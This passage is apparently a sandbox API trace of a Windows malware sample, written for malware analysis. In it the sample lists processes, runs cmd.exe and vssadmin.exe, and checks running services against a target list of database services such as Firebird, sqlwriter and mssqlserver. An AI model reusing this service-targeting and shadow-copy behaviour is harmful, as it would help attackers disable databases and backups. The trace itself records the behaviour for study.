lstrlenW (lpString="sihost.exe") returned 10 [0194.379] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.379] lstrlenW (lpString="svchost.exe") returned 11 [0194.379] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0194.380] lstrlenW (lpString="taskhostw.exe") returned 13 [0194.380] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0194.380] lstrlenW (lpString="msoia.exe") returned 9 [0194.380] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.381] lstrlenW (lpString="explorer.exe") returned 12 [0194.381] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0194.381] lstrlenW (lpString="SearchUI.exe") returned 12 [0194.382] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0194.382] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0194.382] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0194.383] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0194.383] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0194.383] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0194.383] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0194.384] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0194.384] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.385] lstrlenW (lpString="cmd.exe") returned 7 [0194.385] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0194.385] lstrlenW (lpString="conhost.exe") returned 11 [0194.385] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0194.386] lstrlenW (lpString="consent.exe") returned 11 [0194.386] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0194.647] lstrlenW (lpString="vssadmin.exe") returned 12 [0194.648] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.648] lstrlenW (lpString="dllhost.exe") returned 11 [0194.648] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0194.649] CloseHandle (hObject=0x370) returned 1 [0194.649] Sleep (dwMilliseconds=0x1f4) [0195.518] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b2b0 [0195.521] EnumServicesStatusExW (in: hSCManager=0x447b2b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0195.522] GetLastError () returned 0xea [0195.522] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x45c2fd0 [0195.523] EnumServicesStatusExW (in: hSCManager=0x447b2b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c2fd0, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c2fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0195.524] CloseServiceHandle (hSCObject=0x447b2b0) returned 1 [0195.525] lstrlenW (lpString="Appinfo") returned 7 [0195.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.525] lstrlenW (lpString="AppXSvc") returned 7 [0195.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0195.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0195.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0195.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0195.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0195.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.526] lstrlenW (lpString="Audiosrv") returned 8 [0195.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0195.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0195.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0195.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0195.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0195.526] lstrlenW (lpString="BFE") returned 3 [0195.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.526] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.526] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.526] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0195.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0195.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0195.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0195.527] lstrlenW (lpString="CDPSvc") returned 6 [0195.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0195.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0195.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0195.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0195.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0195.527] lstrlenW (lpString="ClickToRunSvc") returned 13 [0195.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.527] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0195.527] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0195.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0195.527] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0195.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0195.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0195.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0195.528] lstrlenW (lpString="CryptSvc") returned 8 [0195.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.528] lstrlenW (lpString="DcomLaunch") returned 10 [0195.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.528] lstrlenW (lpString="DeviceAssociationService") returned 24 [0195.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0195.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0195.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0195.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0195.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0195.529] lstrlenW (lpString="Dhcp") returned 4 [0195.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.529] lstrlenW (lpString="Dnscache") returned 8 [0195.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.529] lstrlenW (lpString="DPS") returned 3 [0195.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.529] lstrlenW (lpString="DsmSvc") returned 6 [0195.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0195.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0195.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0195.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0195.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0195.530] lstrlenW (lpString="DusmSvc") returned 7 [0195.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0195.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0195.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0195.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0195.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0195.530] lstrlenW (lpString="EventLog") returned 8 [0195.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0195.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0195.530] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0195.530] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0195.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0195.530] lstrlenW (lpString="EventSystem") returned 11 [0195.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.530] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.530] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.530] lstrlenW (lpString="FontCache") returned 9 [0195.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0195.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0195.692] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0195.692] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0195.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0195.692] lstrlenW (lpString="gpsvc") returned 5 [0195.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.692] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.692] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.692] lstrlenW (lpString="iphlpsvc") returned 8 [0195.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.693] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.693] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.693] lstrlenW (lpString="KeyIso") returned 6 [0195.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0195.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0195.693] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0195.693] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0195.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0195.693] lstrlenW (lpString="LanmanServer") returned 12 [0195.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.693] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.693] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.693] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.693] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.693] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.693] lstrlenW (lpString="lfsvc") returned 5 [0195.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0195.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0195.693] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0195.693] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0195.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0195.693] lstrlenW (lpString="lmhosts") returned 7 [0195.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.694] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.694] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.694] lstrlenW (lpString="LSM") returned 3 [0195.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0195.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0195.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0195.694] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0195.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0195.694] lstrlenW (lpString="MpsSvc") returned 6 [0195.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.694] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.694] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.694] lstrlenW (lpString="NcbService") returned 10 [0195.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0195.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0195.694] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0195.694] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0195.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0195.694] lstrlenW (lpString="netprofm") returned 8 [0195.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.694] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.694] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.695] lstrlenW (lpString="NgcSvc") returned 6 [0195.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0195.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0195.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0195.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0195.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0195.695] lstrlenW (lpString="NlaSvc") returned 6 [0195.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.695] lstrlenW (lpString="nsi") returned 3 [0195.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.695] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.695] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.695] lstrlenW (lpString="PcaSvc") returned 6 [0195.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.695] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.695] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.695] lstrlenW (lpString="PlugPlay") returned 8 [0195.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.695] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.695] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.696] lstrlenW (lpString="Power") returned 5 [0195.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.696] lstrlenW (lpString="ProfSvc") returned 7 [0195.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.696] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.696] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.696] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.696] lstrlenW (lpString="RpcSs") returned 5 [0195.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.696] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.696] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.696] lstrlenW (lpString="SamSs") returned 5 [0195.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.697] lstrlenW (lpString="Schedule") returned 8 [0195.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") 